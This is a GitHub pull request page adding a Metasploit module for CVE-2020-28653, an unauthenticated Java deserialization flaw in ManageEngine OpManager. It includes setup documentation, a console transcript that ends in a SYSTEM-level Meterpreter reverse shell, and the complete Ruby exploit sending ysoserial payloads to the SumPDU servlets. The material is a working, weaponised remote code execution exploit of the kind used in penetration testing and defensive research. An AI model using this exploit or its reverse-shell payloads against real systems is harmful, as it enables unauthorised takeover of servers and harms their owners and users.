-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add exploit for CVE-2020-28653 (ManageEngine OpManager RCE) #15670
Changes from 9 commits
02fde3a
6b90582
5219759
4e28d3d
d483463
d640866
3986707
d82ed7d
fb74888
9f971e8
fd0f565
4bccc05
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,90 @@ | ||
## Vulnerable Application | ||
|
||
### Description | ||
|
||
An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to deserialize an | ||
arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of | ||
the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other | ||
products that are built on top of the OpManager application. This vulnerability affects OpManager versions 12.1 - | ||
12.5.232. | ||
|
||
### Setup (Windows) | ||
|
||
1. Download an affected version for either Windows or Linux from the [archive][0] | ||
1. Run the installer executable | ||
1. Accept the default values for all settings (skip registration), until the very end when prompted to start the | ||
application | ||
1. Unselect the option to start the application | ||
1. If this option is missed, just navigate to the tray icon where it will say that it's starting and select the | ||
option to stop it | ||
1. Start a command prompt as an administrative user | ||
1. Navigate to `C:\Program Files\ManageEngine\OpManager\bin`, older versions use `C:\ManageEngine\OpManager\bin` | ||
1. Run `run.bat` | ||
1. View and accept the license terms | ||
1. Press `f` to run the product in Free mode | ||
|
||
OpManager should start successfully after a few minutes. At that point the service can be exploited. In this case the | ||
session will be opened in the context of the user that ran the service with `run.bat`. Once the server is restarted and | ||
OpManager starts automatically, the vulnerability can be exploited to open a session in the context of NT | ||
AUTHORITY\SYSTEM. | ||
|
||
### Setup (Linux) | ||
|
||
1. Download an affected version for either Windows or Linux from the [archive][0] | ||
1. Run the installer executable as root | ||
1. Accept the default values for all settings (skip registration) | ||
1. Navigate to `/opt/ManageEngine/OpManagerCentral/bin` | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Looks like older Linux versions might be under the |
||
1. Run `run.sh` as root | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use exploit/multi/http/opmanager_sumpdu_deserialization` | ||
1. Set the `RHOSTS`, `TARGET`, `PAYLOAD` and payload-related options as necessary | ||
1. Do: `run` | ||
1. You should get a shell. | ||
|
||
## Options | ||
|
||
## Scenarios | ||
|
||
### Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.174 | ||
|
||
``` | ||
msf6 > use exploit/multi/http/opmanager_sumpdu_deserialization | ||
[*] Using configured payload cmd/windows/powershell_reverse_tcp | ||
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.10 | ||
RHOSTS => 192.168.159.10 | ||
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set TARGET Windows\ PowerShell | ||
TARGET => Windows PowerShell | ||
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set PAYLOAD windows/x64/meterpreter/reverse_tcp | ||
PAYLOAD => windows/x64/meterpreter/reverse_tcp | ||
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128 | ||
LHOST => 192.168.159.128 | ||
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > check | ||
[*] 192.168.159.10:8060 - The target appears to be vulnerable. | ||
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > exploit | ||
|
||
[*] Started reverse TCP handler on 192.168.159.128:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. | ||
[*] An HTTP session cookie has been issued | ||
[*] The request handler has been associated with the HTTP session | ||
[*] Sending stage (200262 bytes) to 192.168.159.10 | ||
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.10:50295) at 2021-09-13 16:31:45 -0400 | ||
|
||
meterpreter > getuid | ||
Server username: NT AUTHORITY\SYSTEM | ||
meterpreter > sysinfo | ||
Computer : WIN-3MSP8K2LCGC | ||
OS : Windows 2016+ (10.0 Build 17763). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : MSFLAB | ||
Logged On Users : 7 | ||
Meterpreter : x64/windows | ||
meterpreter > | ||
``` | ||
|
||
[0]: https://archives.manageengine.com/opmanager/ |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,203 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
prepend Msf::Exploit::Remote::AutoCheck | ||
include Msf::Exploit::CmdStager | ||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Powershell | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'ManageEngine OpManager SumPDU Java Deserialization', | ||
'Description' => %q{ | ||
An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to | ||
deserialize an arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS | ||
commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This | ||
vulnerability is also present in other products that are built on top of the OpManager application. This | ||
vulnerability affects OpManager versions 12.1 - 12.5.232. | ||
}, | ||
'Author' => [ | ||
'Johannes Moritz', # Original Vulnerability Research | ||
'Robin Peraglie', # Original Vulnerability Research | ||
'Spencer McIntyre' # Metasploit module | ||
], | ||
'License' => MSF_LICENSE, | ||
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64], | ||
'Platform' => [ 'win', 'linux', 'python', 'unix' ], | ||
'References' => [ | ||
[ 'CVE', '2020-28653' ], # original CVE | ||
# [ 'CVE', '2021-3287' ], # patch bypass | ||
[ 'URL', 'https://haxolot.com/posts/2021/manageengine_opmanager_pre_auth_rce/' ] | ||
], | ||
'Privileged' => true, | ||
'Targets' => [ | ||
[ | ||
'Windows Command', | ||
{ | ||
'Arch' => ARCH_CMD, | ||
'Platform' => 'win', | ||
'Type' => :win_cmd, | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' | ||
} | ||
} | ||
], | ||
[ | ||
'Windows Dropper', | ||
{ | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Platform' => 'win', | ||
'Type' => :win_dropper, | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' | ||
} | ||
} | ||
], | ||
[ | ||
'Windows PowerShell', | ||
{ | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Platform' => 'win', | ||
'Type' => :win_psh, | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' | ||
} | ||
} | ||
], | ||
[ | ||
'Unix Command', | ||
{ | ||
'Arch' => ARCH_CMD, | ||
'Platform' => 'unix', | ||
'Type' => :nix_cmd | ||
} | ||
], | ||
[ | ||
'Linux Dropper', | ||
{ | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Platform' => 'linux', | ||
'Type' => :nix_dropper, | ||
'DefaultOptions' => { | ||
'CMDSTAGER::FLAVOR' => 'wget', | ||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' | ||
} | ||
} | ||
], | ||
[ | ||
'Python', | ||
{ | ||
'Arch' => ARCH_PYTHON, | ||
'Platform' => 'python', | ||
'Type' => :python, | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'python/meterpreter/reverse_tcp' | ||
} | ||
} | ||
] | ||
], | ||
'DefaultOptions' => { | ||
'RPORT' => 8060 | ||
}, | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => '2021-07-26', | ||
'Notes' => { | ||
'Reliability' => [ REPEATABLE_SESSION ], | ||
'SideEffects' => [ ARTIFACTS_ON_DISK ], | ||
'Stability' => [ CRASH_SAFE ] | ||
} | ||
) | ||
) | ||
|
||
register_options([ | ||
OptString.new('TARGETURI', [ true, 'OpManager path', '/']) | ||
]) | ||
end | ||
|
||
def check | ||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'), | ||
# Serialized int 1002 | ||
'data' => "\xac\xed\x00\x05\x77\x04\x00\x00\x03\xea".b | ||
}) | ||
return Exploit::CheckCode::Unknown unless res | ||
# the patched version will respond back with 200 OK and no data in the response body | ||
return Exploit::CheckCode::Safe unless res.code == 200 && res.body.start_with?("\xac\xed\x00\x05".b) | ||
|
||
Exploit::CheckCode::Appears | ||
end | ||
|
||
def exploit | ||
# Step 1: Establish a valid HTTP session | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path), | ||
'keep_cookies' => true | ||
}) | ||
unless res&.code == 200 && res.get_cookies =~ /JSESSIONID=/ | ||
fail_with(Failure::UnexpectedReply, 'Failed to establish an HTTP session') | ||
end | ||
print_status('An HTTP session cookie has been issued') | ||
|
||
# Step 2: Add the requestHandler to the HTTP session | ||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'), | ||
'keep_cookies' => true, | ||
# Serialized int 1002 | ||
'data' => "\xac\xed\x00\x05\x77\x04\x00\x00\x03\xea".b | ||
}) | ||
unless res&.code == 200 | ||
fail_with(Failure::UnexpectedReply, 'Failed to setup the HTTP session') | ||
end | ||
print_status('The request handler has been associated with the HTTP session') | ||
|
||
# Step 3: Exploit the deserialization vulnerability to run commands | ||
case target['Type'] | ||
when :nix_dropper | ||
execute_cmdstager | ||
when :win_dropper | ||
execute_cmdstager | ||
when :win_psh | ||
execute_command(cmd_psh_payload( | ||
payload.encoded, | ||
payload.arch.first, | ||
remove_comspec: true | ||
)) | ||
else | ||
execute_command(payload.encoded) | ||
end | ||
end | ||
|
||
def execute_command(cmd, _opts = {}) | ||
# the frohoff/ysoserial#168 gadget chain is a derivative of CommonsBeanutils1 that has been updated to remove the | ||
# dependency on the commons-collections library making it usable in this context | ||
case target['Platform'] | ||
when 'python' | ||
cmd.prepend('python -c ') | ||
when 'win' | ||
cmd.prepend('cmd.exe /c ') | ||
else | ||
cmd.gsub!(/\s+/, '${IFS}') | ||
cmd.prepend('sh -c ') | ||
end | ||
zeroSteiner marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
vprint_status("Executing command: #{cmd}") | ||
java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', cmd) | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMCommunicationServlet'), | ||
'keep_cookies' => true, | ||
'data' => [ java_payload.length ].pack('N') + java_payload | ||
}) | ||
fail_with(Failure::UnexpectedReply, 'Failed to execute the command') unless res&.code == 200 | ||
end | ||
end |
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -23,11 +23,11 @@ RUN wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysos | |
# Download ysoserial-modified | ||
RUN wget -q https://github.com/pimps/ysoserial-modified/raw/1bd423d30ae87074f94d6b9b687c17162f122c3d/target/ysoserial-modified.jar | ||
|
||
# Install gems: diff-lcs v1.3 (to diff the ysoserial output, v1.4 breaks the script) | ||
# Install gems: diff-lcs v1.4.4 (to diff the ysoserial output) | ||
# json (to print the scripts results in JSON) | ||
# pry (to debug issues) | ||
RUN gem install --silent diff-lcs:1.3 json pry | ||
RUN gem install --silent diff-lcs:1.4.4 json pry | ||
|
||
COPY find_ysoserial_offsets.rb / | ||
|
||
CMD ruby /find_ysoserial_offsets.rb -a | ||
ENTRYPOINT ["ruby", "/find_ysoserial_offsets.rb"] | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Any context on this change? 🕵️ There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Yeah in the "Java Deserialization Updates" section I mentioned switching the docker container and dropping Admittedly once I fixed the diff-lcs 1.4 compatibility issue, I just ran the offsets tool natively on my system but I could see why some people might want to run it in docker so I kept the file and made it more flexible. Downloading specific versions of the built jars is handy to know what revision the payload data was generated with. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Named to point to frohoff/ysoserial#168 so both PRs can move forward independently of each other.